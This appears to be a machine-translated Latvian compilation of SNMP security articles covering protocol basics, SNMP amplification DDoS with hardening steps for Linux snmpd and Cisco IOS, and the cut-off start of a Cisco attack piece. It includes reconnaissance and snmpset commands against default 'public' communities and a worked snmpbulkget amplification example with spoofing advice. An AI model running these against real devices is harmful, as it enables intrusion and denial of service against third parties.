Šis raksts ir veltīts SNMP protokolam (Simple Network Management Protocol) - vienam no OSI modeļa protokoliem, kas praktiski netika skarts RU-tīkla telpu dokumentācijā. Autore mēģināja aizpildīt šo vakuumu, sniedzot lasītājam pamatu pārdomām un sevis pilnveidošanai saistībā ar šo, iespējams, jums jaunu jautājumu. Šis dokuments nepretendē uz “dokumentāciju izstrādātājam”, bet vienkārši atspoguļo autora vēlmi iespēju robežās izcelt darba ar šo protokolu aspektus, parādīt tā vājās vietas, ievainojamības “drošības” sistēmā, izvirzītos mērķus. veidotāji un paskaidrojiet tā mērķi.

Mērķis

SNMP protokols tika izstrādāts, lai pārbaudītu tīkla maršrutētāju un tiltu darbību. Pēc tam protokola darbības joma aptvēra citas tīkla ierīces, piemēram, centrmezglus, vārtejas, termināļa serverus, LAN pārvaldnieka serverus, iekārtas, kurās darbojas operētājsistēma Windows NT utt. Turklāt protokols pieļauj iespēju veikt izmaiņas šo ierīču darbībā.

Teorija

Galvenās protokola mijiedarbības puses ir aģenti un kontroles sistēmas. Ja mēs aplūkojam šos divus jēdzienus “klienta-servera” valodā, tad servera lomu pilda aģenti, tas ir, tās pašas ierīces statusa aptaujai, kurām tika izstrādāts mūsu aplūkotais protokols. Attiecīgi klientu loma tiek piešķirta kontroles sistēmām - tīkla lietojumprogrammām, kas nepieciešamas informācijas apkopošanai par aģentu darbību. Papildus šiem diviem priekšmetiem protokola modelī var izdalīt vēl divus: vadības informāciju un pašu datu apmaiņas protokolu.

"Kāpēc jums vispār ir nepieciešams aptaujāt aprīkojumu?" - tu jautā. Es mēģināšu nedaudz izgaismot šo jautājumu. Dažreiz tīkla darbības laikā rodas nepieciešamība noteikt noteiktus noteiktas ierīces parametrus, piemēram, MTU lielumu, saņemto pakešu skaitu, atvērtos portus, iekārtā instalēto operētājsistēmu un tās versiju. , vai iekārtā ir iespējota pārsūtīšanas opcija un daudz kas cits. SNMP klienti ir labākais veids, kā to izdarīt.

Papildus iepriekšminētajam protokolam ir vēl viens ļoti svarīga iezīme, proti, iespēja modificēt datus par aģentiem. Protams, būtu stulbi atļaut mainīt absolūti jebkuru parametru, taču, neskatoties uz to, parametru skaits, kuriem ir atļauta rakstīšanas darbība, ir vienkārši biedējošs. No pirmā acu uzmetiena tas pilnībā atspēko visu tīkla drošības teoriju, taču, iedziļinoties jautājumā, kļūst skaidrs, ka ne viss ir tik novārtā, kā šķiet no pirmā acu uzmetiena. "Ja tev ir bail no vilkiem, neejiet mežā." Galu galā, ar nelielu tīkla administratora piepūli, veiksmīga uzbrukuma risku var samazināt līdz minimumam. Bet mēs šo aspektu apspriedīsim vēlāk.

Pakavēsimies pie tā, kādu informāciju pārvaldības sistēma var iegūt no SNMP dzīlēm. Visa informācija par aģentu sistēmas objektiem ir ietverta tā sauktajā MIB (pārvaldības informācijas bāzē), citiem vārdiem sakot, MIB ir objektu kopums, kas pieejams rakstīšanas-lasīšanas operācijām katram konkrētajam klientam atkarībā no struktūras un paša klienta mērķis. Galu galā nav jēgas jautāt termināļa serverim nomesto pakešu skaitu, jo šiem datiem nav nekā kopīga ar tā darbību, tāpat kā informācijai par maršrutētāja administratoru. Tāpēc kontroles sistēmai ir precīzi jāsaprot, ko un no kā pieprasīt. Ieslēgts šobrīd Ir četri MIB:

1. Interneta MIB ir objektu datubāze, kas nodrošina kļūdu diagnostiku un konfigurācijas. Ietver 171 objektu (ieskaitot MIB I objektus).
2. LAN pārvaldnieks MIB - 90 objektu datu bāze - paroles, sesijas, lietotāji, koplietotie resursi.
3. WINS MIB - WINS servera (WINSMIB.DLL) darbībai nepieciešamo objektu datu bāze.
4. DHCP MIB ir DHCP servera (DHCPMIB.DLL) darbībai nepieciešamo objektu datu bāze, ko izmanto dinamiskai IP adrešu piešķiršanai tīklā.

Visiem MIB nosaukumiem ir hierarhiska struktūra. Ir desmit saknes aizstājvārdi:

1. Sistēma – šajā MIB II grupā ir septiņi objekti, no kuriem katrs kalpo informācijas glabāšanai par sistēmu (OS versija, darbības laiks utt.).
2. Saskarnes - satur 23 objektus, kas nepieciešami aģentu tīkla saskarņu statistikas uzturēšanai (saskarņu skaits, MTU lielums, pārsūtīšanas ātrums, fiziskās adreses utt.).
3. AT (3 objekti) - atbild par adrešu tulkošanu. Vairs netiek lietots. Tas tika iekļauts MIB I. AT objektu izmantošanas piemērs var būt vienkārša ARP tabula (sīkāku informāciju par ARP protokolu var lasīt rakstā "ARP protokola nestandarta izmantošana", ko var atrast tīmekļa vietnes www.uinc.ru sadaļā "Raksti") fizisko (MAC) adrešu saraksti tīkla kartes Mašīnu IP adreses. SNMP v2 šī informācija ir pārvietota uz atbilstošo protokolu MIB.
4. IP (42 objekti) - dati par IP pakešu nodošanu (pieprasījumu skaits, atbildes, nomestās paketes).
5. ICMP (26 objekti) - informācija par vadības ziņojumiem (ienākošie/izejošie ziņojumi, kļūdas utt.).
6. TCP (19) - viss, kas saistīts ar tāda paša nosaukuma transporta protokolu (algoritmi, konstantes, savienojumi, atvērtie porti utt.).
7. UDP (6) - līdzīgi, tikai UDP protokolam (ienākošās/izejošās datagrammas, porti, kļūdas).
8. EGP (20) - Exterior Gateway Protocol trafika dati (lieto maršrutētāji; objekti glabā informāciju par saņemtajām/nosūtītajām/izmestajām kartēm).
9. Pārraide — rezervēta konkrētiem MIB.
10. SNMP (29) - SNMP statistika - ienākošās/izejošās paketes, pakešu lieluma ierobežojumi, kļūdas, dati par apstrādātajiem pieprasījumiem un daudz kas cits.

Iedomāsimies katru no tiem kā koku, kas aug uz leju (sistēma sāpīgi atgādina DNS organizāciju). Piemēram, mēs varam piekļūt administratora adresei, izmantojot šādu ceļu: system.sysContact.0, sistēmas darbības laiks system.sysUpTime.0, sistēmas apraksts (versija, kodols un cita informācija par OS): system.sysDescr.0. No otras puses, tos pašus datus var norādīt punktu apzīmējumā. Tātad system.sysUpTime.0 atbilst vērtībai 1.3.0, jo sistēmas MIB II grupās ir indekss "1", bet sistēmas grupas hierarhijā sysUpTime indekss ir 3. Nulle ceļa beigās norāda uz saglabāto datu skalāro veidu. Saite uz pilns saraksts(256 MIB II objekti) To var atrast raksta beigās sadaļā "Pielikums". Darbības laikā netiek izmantoti simboliskie objektu nosaukumi, tas ir, ja pārvaldnieks pieprasa aģentam parametra system.sysDescr.0 saturu, tad pieprasījuma rindā atsauce uz objektu tiks pārveidota par “1.1.0 ”, un netiks pārsūtīts “tāds, kāds ir”. Tālāk mēs izskatīsim pieprasījumu LIELAJĀ, un tad kļūs skaidrs, kāpēc tas ir tik svarīgi. Ar to mēs pabeigsim MIB II struktūras pārskatu un pāriesim tieši uz vadītāju (kontroles sistēmu) un aģentu mijiedarbības aprakstu. SNMP klients sazinās ar serveri, pamatojoties uz pieprasījuma-atbildes principu. Pats aģents spēj ierosināt tikai vienu darbību, ko sauc par pārtraukuma slazdu (dažā literatūrā "slazds" ir slazds). Turklāt visas aģentu darbības ir saistītas ar atbildēm uz vadītāju nosūtītajiem pieprasījumiem. Vadītājiem ir daudz vairāk vietas radošumam, viņi spēj izpildīt četru veidu pieprasījumus:

• GetRequest - pieprasiet informāciju no aģenta par vienu mainīgo.
• GetNextRequest — uzdod aģentam atgriezt datus par nākamo (hierarhijā) mainīgo.
• GetBulkRequest - datu masīva saņemšanas pieprasījums. Saņemot to, aģents pārbauda pieprasījuma datu tipu atbilstību datiem no savas tabulas un aizpilda struktūru ar parametru vērtībām cilpā: for(repeatCount = 1; repeatCount< max_repetitions; repeatCount++) Теперь представьте себе запрос менеджера на получение списка из сотни значений переменных, посланный в символьном виде, и сравните размер такового с размером аналогичного запроса в точечной нотации. Думаю, Вы понимаете, к чему привела бы ситуация, если бы символьные имена не преобразовывались вышеуказанным образом.
• SetRequest - instrukcija, lai iestatītu konkrētu vērtību mainīgajam.

Turklāt vadītāji var apmainīties ar informāciju par savu vietējo MIB savā starpā. Šāda veida pieprasījumu sauc par InformRequest.

Es sniegšu skaitlisko konstantu vērtības visu veidu vaicājumiem:

#define SNMP_MSG_GET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x0)
#define SNMP_MSG_GETNEXT (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x1)
#define SNMP_MSG_RESPONSE (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x2)
#define SNMP_MSG_SET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x3)
/* PDU SNMPv1 */
#define SNMP_MSG_TRAP (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x4)
/* PDU SNMPv2 */
#define SNMP_MSG_GETBULK (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x5)
#define SNMP_MSG_INFORM (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x6)
#define SNMP_MSG_TRAP2 (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x7)

Šeit mēs saskaramies ar vēl vienu interesantu detaļu, jo, kā redzat, slazdam ir 2 skaitliskās konstantes. Faktiski ir 2 galvenās SNMP protokola versijas (v1 & v2), un vissvarīgākais ir tas, ka tās nav savietojamas (patiesībā ir daudz vairāk versiju - SNMP v2(p | c | u) utt., Bet visas šīs modifikācijas ir diezgan nelielas, jo, piemēram, md5 atbalsta ieviešana utt.). SNMP ir monitoringa un diagnostikas protokols, un tāpēc tas ir paredzēts situācijām, kad tiek pārkāpts maršrutu integritāte, turklāt šādā situācijā ir nepieciešams pēc iespējas mazāk prasīgs transporta protokols, kas tāpēc izvēle tika izdarīta UDP virzienā. Bet tas nenozīmē, ka neviens cits protokols nevar pārnēsāt SNMP paketes. Tas var būt IPX protokols (piemēram, NetWare tīklos Ethernet kartes un ATM šūnas var izmantot arī kā transportu). Attiecīgā protokola īpatnība ir tāda, ka datu pārsūtīšana tiek veikta, neizveidojot savienojumu.

Pieņemsim, ka pārvaldnieks nosūtīja vairākas paketes dažādiem aģentiem. Kā pārvaldības sistēma pēc tam var noteikt, kura no ienākošajām paketēm attiecas uz 1. un 2. aģentu? Lai to izdarītu, katrai pakotnei tiek piešķirts konkrēts ID - skaitliska vērtība. Kad aģents saņem pieprasījumu no pārvaldnieka, tas ģenerē atbildi un ievieto paketē no pieprasījuma saņemto ID vērtību (nepārveidojot to). Viens no galvenajiem SNMP jēdzieniem ir grupas jēdziens. Pārvaldnieka autorizācijas procedūra ir vienkārša pārbaude, lai noskaidrotu, vai viņš pieder noteiktai grupai no aģenta glabātā saraksta. Ja aģents savā sarakstā neatrod pārvaldnieka grupas, to turpmākā mijiedarbība nav iespējama. Pirms tam mēs vairākas reizes saskārāmies ar pirmo un otro SNMP versiju. Pievērsīsim uzmanību atšķirībai starp tām. Pirmkārt, mēs atzīmējam, ka SNMP v2 ietver trafika šifrēšanas atbalstu, kuram atkarībā no ieviešanas tiek izmantoti DES un MD5 algoritmi. Tas noved pie tā, ka, pārsūtot datus, svarīgākie dati, tostarp informācija par tīkla grupām, nav pieejami iegūšanai ar šņaukšanu. Tas viss izraisīja pašas trafika pieaugumu un pakotnes struktūras sarežģījumus. Pats par sevi šobrīd v2 praktiski nekur netiek lietots. Windows NT mašīnas izmanto SNMP v1. Tādējādi mēs lēnām pārejam pie, iespējams, interesantākās raksta daļas, proti, drošības jautājumiem. Parunāsim par šo...

Prakse un drošība

Mūsdienās tīkla drošības jautājumi ir īpaši svarīgi, jo īpaši attiecībā uz datu pārsūtīšanas protokoliem, īpaši korporatīvajos tīklos. Pat pēc virspusējas iepazīšanās ar SNMP v1/v2 kļūst skaidrs, ka protokola izstrādātāji par to domāja pēdējo, vai arī viņiem bija stingri noteikti projekta termiņi %-). Šķiet, ka protokols ir paredzēts darbam tā saukto “uzticamo saimniekdatoru” vidē. Iedomāsimies kaut kādu virtuālu personību. Persona, pareizāk sakot, noteikta IP adrese, kuras īpašnieka nolūks ir gūt labumu vai vienkārši nokaitināt administratoru, izjaucot noteikta tīkla darbību. Ieņemsim šī cilvēka vietu. Mēs reducēsim šo apsvērumu līdz diviem punktiem:

• a) esam ārpus "naidīgā tīkla". Kā mēs varam izdarīt savu netīro darbu? Pirmkārt, mēs pieņemam, ka mēs zinām tīkla vārtejas adresi. Saskaņā ar RFC vadības sistēma savienojas ar aģentu, izmantojot portu 161 (UDP). Atcerēsimies, ka veiksmīgam darbam nepieciešamas zināšanas par grupu. Šeit uzbrucējs palīdz tam, ka administratori bieži atstāj grupas vērtības (nosaukumus) iestatītas uz noklusējuma vērtībām, un pēc noklusējuma SNMP ir divas grupas - “privāts” un “publisks”. Ja administrators neparedzēja šādu notikumu attīstību, ļaundaris viņam var sagādāt daudz nepatikšanas. Kā jūs zināt, SNMP protokols ir daļa no FingerPrinting. Ja vēlaties, pateicoties sistēmas MIB II grupai, ir iespējams uzzināt diezgan lielu informācijas apjomu par sistēmu. Vienkārši apskatiet tikai lasāmo parametru sysDescr. Galu galā, precīzi zinot programmatūras versiju, ir iespēja, izmantojot attiecīgās OS rīkus, iegūt pilnīgu kontroli pār sistēmu. Ne velti es pieminēju šī parametra tikai lasāmo atribūtu. Galu galā, nepārmeklējot snmpd pirmkodu (UNIX līdzīgas OS gadījumā), šo parametru nevar mainīt, tas ir, aģents uzticīgi sniegs uzbrucējam visus viņam nepieciešamos datus. Bet mēs nedrīkstam aizmirst, ka aģentu ieviešana operētājsistēmai Windows tiek piegādāta bez pirmkodiem un zināšanām operētājsistēma- 50% panākumu uzbrukumā. Turklāt atcerieties, ka daudziem parametriem ir atribūts rw (lasīt-rakstīt), un starp šiem parametriem ir pārsūtīšana! Iedomājieties sekas, iestatot to uz "notForwarding(2)". Piemēram, operētājsistēmā Linux SNMP programmatūras ieviešanai, ko sauc par ucd-snmp, ir iespēja attālināti palaist skriptus serveros, nosūtot atbilstošu pieprasījumu. Domāju, ka visi saprot, pie kā var novest “administratora nepilnības”.
• b) uzbrucējs atrodas vietējā mašīnā. Šajā gadījumā strauji palielinās iespēja, ka administrators tiks atlaists. Galu galā, atrodoties vienā tīkla segmentā, ir iespējams vienkārši izšņaukt grupu nosaukumus un kopā ar tiem daudz sistēmas informācijas. Viss a) apakšpunktā teiktais attiecas arī uz šo gadījumu.

Pārejam pie "praktiskajiem vingrinājumiem". Kas jums varētu būt vajadzīgs? Pirmkārt programmatūra. To var iegūt pie. Es sniegšu piemērus Linux OS, bet komandu sintakse ir līdzīga Windows programmatūrai.

Pakas uzstādīšana ir standarta:

gunzip udc-snmp-3.5.3.tar.gz
tar -xvf udc-snmp-3.5.3.tar
cd udc-snmp-3.5.3
./configure
izgatavot
veikt uzstādīšanu

Dēmona (aģenta) palaišana

Pēc instalēšanas jums ir pieejamas šādas programmas:

snmpget
snmpset
snmpgetnext
snmpwalk
snmpbulkwalk
snmpcheck
snmptest
snmpdelta
snmpnetstat snmpstatus
snmptable
snmptrap
snmptransstat
un dēmons
snmptrapd

Apskatīsim, kā iepriekš aprakstītās darbības izskatās praksē.

GetRequest pieprasījumu īsteno tāda paša nosaukuma programma snmpget

Lai iegūtu nepieciešamo informāciju, palaidiet šādu komandu:

root@darkstar:~# snmpget 10.0.0.2 public system.sysDescr.0

Kam serveris mums labticīgi pateiks:

system.sysDescr.0 = Aparatūra: x86 Family 6 Model 5 Stepping 0 AT/AT SADERĪGS — programmatūra: Windows NT versija 4.0 (būvējuma numurs: 1381 bez viena procesora)

(vai tas nav gluži jēgpilni) vai

system.sysDescr.0 = Linux darkstar 2.4.5 #1 SMP piektdien, 17. augusts 09:42:17 EEST 2001 i586

Gluži kā ceļvedis iekļūšanai.

Pieņemsim, ka vēlamies kaut ko mainīt aģenta iestatījumos. Veiksim šādu darbību:

root@darkstar:~# snmpset 10.0.0.2 public system.sysContact.0 s [e-pasts aizsargāts]

un mēs saņemam atbildi:

system.sysContact.0 = [e-pasts aizsargāts]

MIB II objektu sarakstu ar atribūtiem var atrast, sekojot "Pielikumā" norādītajai saitei.

Es domāju, ka ir pienācis laiks apskatīt SNMP pakešu līmenī. Šo paketi uztvēra NetXRay sniffer on tīkla interfeiss aģents:

Kā redzam, prakse nav tālu no teorijas. Mēs novērojam pieprasījuma ID un pieprasījuma parametrus. Pilnajā ekrānuzņēmumā var redzēt protokolu steks - no Ethernet kadriem caur UDP mēs sasniedzam pašu vienkāršo tīkla pārvaldības protokolu:

Un šī pakete tika saņemta no pārvaldnieka saskarnes:

Kā redzat, grupas nosaukums absolūti nav šifrēts (ko savukārt norāda Protokola versijas numurs: 1). Vēlos atzīmēt, ka saskaņā ar protokola specifikāciju SNMP paketēm nav skaidri noteikta garuma. Ir noteikta augšējā robeža, kas vienāda ar UDP ziņojuma garumu, kas vienāda ar 65507 baitiem, savukārt pats protokols uzliek citu maksimālo vērtību - tikai 484 baiti. Savukārt paketes galvenes garumam (headerLength) nav noteiktas vērtības.

Nu, mēs esam iepazinušies ar SNMP protokolu vispārīgi. Ko vēl var piebilst iepriekšminētajam... Tīkla administratoriem varam dot tikai pāris padomus, lai samazinātu tīkla drošības problēmu risku... Pirmkārt, pienācīga uzmanība jāpievērš ugunsmūra uzstādīšanai. Otrkārt, mainiet noklusējuma grupu nosaukumus. Būtu saprātīgi stingri fiksēt to mašīnu (menedžeru) adreses, no kurām ir atļauta aģentu aptauja. Es domāju, ka šis raksts var beigties šeit. Es gribētu ticēt, ka jums tas šķita interesanti.

Vienojoties ar žurnāla redaktoriem, publicēju savu rakstu “Aizsardzība pret DDoS, izmantojot improvizētus līdzekļus 3. daļa. SNMP pastiprināšana” no žurnāla “Sistēmas administrators” 164.-165. numurs (2016. gada jūlijs-augusts).

Sniegt ieguldījumu globālās kibertelpas aizsardzībā no DDoS , nemaz nav nepieciešams pirkt dārgu aprīkojumu vai pakalpojumus. Ikviens no interneta pieejamā servera administrators var piedalīties šādā cēlā lietā bez papildu materiālajiem ieguldījumiem, izmantojot tikai zināšanas un nedaudz laika.

Apskatīsim "pastiprināšanas" tipa DDoS uzbrukumus, izmantojot pakalpojumu SNMP

SNMP pastiprināšana

Uzbrukuma būtība ir uzsākt vairākkārt pastiprinātu reakciju uz SNMP pieprasījumu. Sākotnēji izstrādāts, lai automatizētu tabulas datu izguvi, vienlaikus samazinot nosūtīto pakešu skaitu BULK- vaicājumi ir kļuvuši par diezgan efektīvu rīku veikšanai DDoS uzbrukumi uzbrucēju rokās. Kā teikts RFC3416, GetBulkRequest, ieviests SNMP 2. versijā, ir paredzēts, lai varētu pieprasīt lielu datu apjomu, ko uzbrucēji izmanto, izmantojot nepareizi konfigurētus serverus internetā.

Ja tabulā iestatāt maksimālo atgriezto rindu skaitu uz 20 000 un izpildāt vaicājumu nepareizi konfigurēta servera/ierīces gadījumā:

:~$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 1.3.6.1

atbilde būs apmēram šāda:

iso.3.6.1.2.1.1.1.0 = STRING: "SNMP4J-Agent — Windows 2003 - x86 - 5.2"

< Trūkst 290 rindiņas>

iso.3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12.123.123.12 = šajā MIB skatā vairs nav palicis mainīgais (tas ir pagājis MIB koka beigas)

Tajā pašā laikā palaižot tcpdump parādīs atgrieztās paketes izmēru:

21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129.snmp: GetBulk(25) N=0 M=20000 .iso.org.dod.internet

21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565:

Atbildot uz aptuveni 70 baitu lieluma pieprasījumu, ieskaitot galvenes, serveris atgriež aptuveni 10 kilobaitu lielu atbildi, tas ir, gandrīz 150 reizes lielāku. Pastiprinājums nav fiksēts, un atkarībā no OS veida un ierīces konfigurācijas parametriem var būt vai nu lielāka (sasniedzot 1700 reizes) vai mazāka vērtība. Ja, veidojot šādu pieprasījumu, jūs izmantojat IP viltošanu sūtītāja adreses uz upura adresi un augsta zvanu intensitāte uz neaizsargāto serveri - DDoS uzbrukums ir gatavs.

Cēlonis

Problēmas būtība, kā likums, nav ievainojamībā, nevis GetBulkRequest nosūtīto vērtību skaita iestatīšanā, bet tā nozīme SNMP kopiena iestatīts pēc noklusējuma: publisks — tikai lasāms vai, vēl ļaunāk, privāts – lasīt-rakstīt. SNMP protokols versijas 1 un 2 ir balstītas uz UDP izmanto uzraudzībai un kontrolei,un izmanto vērtību kā autentifikācijas parametru, lai piekļūtu pārvaldītajam aprīkojumam kopiena, kuru var iestatīt tikai lasāmu ( tikai lasāms ) vai ar iespēju ierakstīt ( lasīt-rakstīt ). Bieži vien sistēmās, aktivizējot pakalpojumu SNMP ir iestatīta noklusējuma vērtība -publiski tikai lasīšanai un privāts lasīšanai-rakstīšanai. Pat ja mēs ignorējam iespēju izmantot nepareizi konfigurētu serveri kā atstarotāju, lai pastiprinātu uzbrukumus SNMP tad, izmantojot vērtību, ir acīmredzami draudi iegūt informāciju par serveri, tajā instalēto programmatūru un tās versijāmpubliski noklusējuma priekš tikai lasāms Ierīcei nodrošina praktiski neierobežotu priviliģētu piekļuvi ar administratora tiesībām lasīšanas un rakstīšanas kopiena privāts . Pat ja netiek veiktas nekādas ļaunprātīgas izmaiņas, intensīvi pieprasījumi, izmantojot protokolu SNMP var radīt ievērojamu slodzi aptaujātā servera skaitļošanas resursiem, tādējādi ietekmējot tā sniegto pakalpojumu kvalitāti.

Aizsardzība

Specifiski SNMP Ieteikumus servera vai tīkla aprīkojuma drošības nodrošināšanai var iedalīt šādās jomās:

1. Arhitektūras: ļauj apstrādāt pieprasījumus tikai saskarnēs, kas nav pieejamas no neuzticamiem tīkliem.

2. Mainiet kopienu kaut ko grūtāk uzminēt.

3. IP ierobežojums kontroles staciju adreses.

4. Nozares ierobežojums O.I.D. pieejams saņemšanai/maiņai līdz SNMP

5 . Lietošanas samazināšana vai atteikums kopienai lasīšanai un rakstīšanai.

6. Pārslēdzieties uz SNMP versija 3, izmantojot papildu parametri autentifikācija un šifrēšana.

7. Atspējojiet SNMP, ja netiek lietots.

Kā veikt šīs darbības dažādās operētājsistēmās?

Pakalpojuma konfigurācijas failā snmp ir konfigurēti šādi parametri:

aģentsAdrese udp:10.0.0.1:161#IP-adreses, protokola un porta saņemšanas pieprasījumiSNMP

Ja Unix serveris būtībā ir maršrutētājs, un tam ir vairākas saskarnes, lai nodrošinātu drošību; SNMP tikai saskarne, kas pieejama no uzticamā segmenta, bet ne no interneta. Vārds kopienai piekļuvei tiek norādīts ar parametru rocommunity (tikai lasāma) vai rwcommunity (lasāma-rakstāma), ir iespējams arī norādīt apakštīklu, no kura ir atļauta piekļuve, un filiāli O.I.D. pieejams norādītā apakštīkla darbībai ar norādītajām rindas tiesībām kopienai. Piemēram, lai ļautu uzraudzības sistēmām no apakštīkla 10.0.0.0/24 piekļūt informācijai par saskarnēm ( OID 1.3.6.1.2.1.2 ), izmantojot piekļuves virkni MaKe_It_SeCuRe ar tikai lasīšanas atļaujām konfigurācijas fragments izskatīsies šādi:

rocommunity MaKe_It_SeCuRe10.0.0.0/24 .1.3.6.1.2.1.2

Īpašos gadījumos izmantojot dažādus Unix sistēmām, iepriekšminētajai rindai var būt nedaudz pārveidota sintakse, jo tiek izmantoti citi parametri un konfigurācijas faila komponentu hierarhiskā struktūra. Detalizētu aprakstu var atrast, ierakstot komandu

cilvēks snmpd.conf

Bet, ja uzdevums ir pēc iespējas ātrāk nodrošināt dienesta drošību snmpd kuru iepriekš nepareizi konfigurēja tā priekšgājējs, varat izveidot rezerves kopija snmpd.conf pievienot jaunajā konfigurācijas failā ierobežojumus uzraudzības sistēmu apakštīklam un mainīt kopienai. Programmā Debian tas izskatīsies šādi:

#cd< katalogs arsnmpd.conf>

# mv snmpd.conf snmpd.conf.backup

# echo rocommunity MaKe_It_SeCuRe10.0.0.0/24 >snmpd.conf

# /etc/init.d/snmpd restart

Pēc tam piekļūstiet, izmantojot SNMP serverim būs tikai apakštīklā 10.0.0.0/24, izmantojot jauno kopiena, tajā pašā laikā visi serveri, kuros netiek mainīti kopienai uz jaunu, viņi vairs nesaņems atbildes uz pieprasījumiem, tāpat kā uzbrucēji.

Drošāk būs pāriet uz lietošanu SNMPv3 kurā iespējams variēt autentifikācijas parametrus. Turklāt atšķirībā no versijas 1 un 2c, SNMPv3 ļauj nodrošināt trafika šifrēšanu starp uzraudzības sistēmu un aptaujāto aprīkojumu. Lai konfigurācijas failā izveidotu lietotāju ar tikai lasīšanas tiesībām, autentifikāciju un trafika šifrēšanu snmpd.conf jāpievieno:

createUser v3user SHA "some_AuThPaSs" AES some_privpass

authuser lasīt v3user authpriv 1.3.6.1.2.1. 2

Attiecīgi lietotājs v3lietotājs saņems tikai lasīšanas tiesības lai apskatītu pavedienu 1.3.6.1.2.1.2, izmantojot SNMP.

Konfigurācijas pareizību varat pārbaudīt pēc pakalpojuma restartēšanas. SNMP serverī 192.168.10.128 ar komandu, kas izpildīta klientam:

$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA -x AES -u v3user -l authPriv 192.168.10.128 1

Šajā gadījumā, neskatoties uz to, ka tiks aptaujāts viss koks, sākot no 1, serveris atgriezīs tikai atļauto zaru 1.3.6.1.2.1. 2 , kas tiks norādīts konfigurācijā.

Kad atsakāties no SNMP v1/v2c par labu SNMPv3 ir nepieciešams arī noņemt no konfigurācijas faila iestatījumu fragmentus, kas nav saistīti ar SNMPv3.

Ja SNMP servera uzraudzībainetiek izmantots, pareizākais risinājums būtu izņemt iepakojumu snmpd.

Uz Cisco IOS nav iespējams izvēlēties interfeisu, kas apstrādās pieprasījumus SNMP Ierobežojums tiek veikts, izmantojot piekļuves sarakstus ( piekļuves kontroles saraksts, ACL). Pieņemsim, ka atļautais apakštīkls ir 10.0.0.0/24. Izveidots ACL:

(config)#access-list 10 atļauja 10.0.0.0 0.0.0.255

kas pēc tam tiek attiecināts uz atbilstošo kopiena SNMP v1/v2c, šajā piemērā MaKe_It_SeCuRe ar tikai lasīšanas piekļuvi:

(config)#snmp-servera kopiena MaKe_It_SeCuRe RO 10

Ierobežojums SNMP OID filiālēm pielietots, izmantojot skats

(config)# snmp servera skats SEJAS 1.3.6.1.2.1. 2 iekļauts

tad uz izveidoto skatam pievienota kopiena:

(config)#snmp-server Community MaKe_It_SeCuRe skats IFACES RO 10

Lai lietotu SNMPv3 ar nepieciešamajiem ierobežojumiem(autentifikācija un šifrēšana, tikai lasāma, piekļuve no apakštīkla 10.0.0.0/24 saskarnes filiālei, kas norādīta skatīt IFACES) , jums ir jāizveido grupa(DROŠI) ar tikai lasīšanas piekļuvi OID no skata IFACES un nepieciešamība pēc autentifikācijas ar šifrēšanu, saistot to ar iepriekš izveidoto piekļuves saraksts 10:

(config)#snmp servera grupa SECURE v3 priv lasīšanaSEJASpiekļuve 10

pēc tam pievienojiet grupai kontu lietotājs(v3 lietotājs) , piešķirot tai autentifikācijas un šifrēšanas paroles, kā arī šifrēšanas algoritmu(šajā gadījumā AES128):

(config)#snmp servera lietotājsv3 lietotājsSECURE v3 autentifikācija sha Strong_Password priv aes 128 Priv_Password

SNMP var izmantot pārvaldībai, un noklusējuma piekļuves parametru iestatīšana pēc smaguma pakāpes ir salīdzināma ar viegli uzmināmu pieteikšanās paroli SSH. Pēc rakstā aprakstīto ieteikumu ievērošanas, Mēs ne tikai pasargāsim sevi no uzbrukumiem mūsu tīklam un serveriem, bet arī padarīsim neiespējamu mūsu resursu izmantošanu, lai uzbruktu citiem, kā arī samazināsim iemeslu skaitu, kāpēc presē tiek publicēti kliedzošie virsraksti “Krievijas hakeri uzbruka. .”.

Kopumā jūs varat aizsargāt savus serverus un tīklu no nesankcionētas piekļuves, izmantojot SNMP protokolu, samazināt DDoS uzbrukumu skaitu, piemēram, SNMP pastiprināšanu un minimizēt savas infrastruktūras segmenta dalību tajos, izmantojot šādas darbības, kurām nav nepieciešami papildu finanšu ieguldījumi:

Pārvaldiet aprīkojumu tikai no uzticama tīkla segmenta. Ierobežojums, saistot pakalpojumu ar noteiktu saskarni vai izmantojot piekļuves saraksti.

Noklusējuma SNMP kopienas vērtību maiņa (publiskā un privātā) grūti uzminēt.

Nozares ierobežojums O.I.D. pieejams saņemšanai/maiņai līdz SNMP

Izmantojiet tikai SNMPv 3, izmantojot papildu autentifikācijas un šifrēšanas parametrus.

Pakalpojuma atspējošana SNMP ar konfigurācijas dzēšanu - ja tiek pieņemts lēmums pilnībā atteikties SNMP

Un, ja to darīs katrs no interneta pieejamo serveru administrators, digitālā pasaule būs soli tuvāk pilnībai.

Uzbrukums Cisco, izmantojot SNMP

Aleksandrs Antipovs

Mateja Aroni un Viljams M. Hidalgo, Vladimira Kukšenoka tulkojums

Ievads

Bieži vien sistēmas administratoriem ir neskaidra izpratne par SNMP. Sakarā ar neskaidru izpratni par šī protokola mērķi un attiecīgi potenciāla nezināšanu iespējamās problēmas, tā drošības jautājumi bieži tiek ignorēti.

Jūs varētu būt pārsteigts, kad pirmo reizi redzat tādas utilītas izvadi kā Philip Waeytens SNMP-Enum, kas darbojas operētājsistēmā Windows 2000 Server ar iespējotu SNMP pakalpojumu. Savāktā informācija varētu būt ļoti mulsinoša sistēmas administrators un sniedz ieskatu SNMP bagātīgajās iespējās.

Tas, ka SNMP pamatā ir UDP, padara to vēl interesantāku. Kā bezsavienojumu protokols UDP ir neaizsargāts pret IP viltošanas uzbrukumiem. Ja jūsu organizācijai ir Cisco maršrutētāji, esat gatavs izpētīt, ko ar tiem var darīt, izmantojot SNMP.

Uzbrukuma scenārijs

Apskatiet uzbrukuma scenārija piemēru, kas parādīts 1. attēlā.


1. attēls. Uzbrukuma scenārija piemērs.

Pārskatiet uzbrukuma scenāriju. Tālāk ir norādīta pašreizējā uzbrukuma maršrutētāja (Victim Router) konfigurācija:

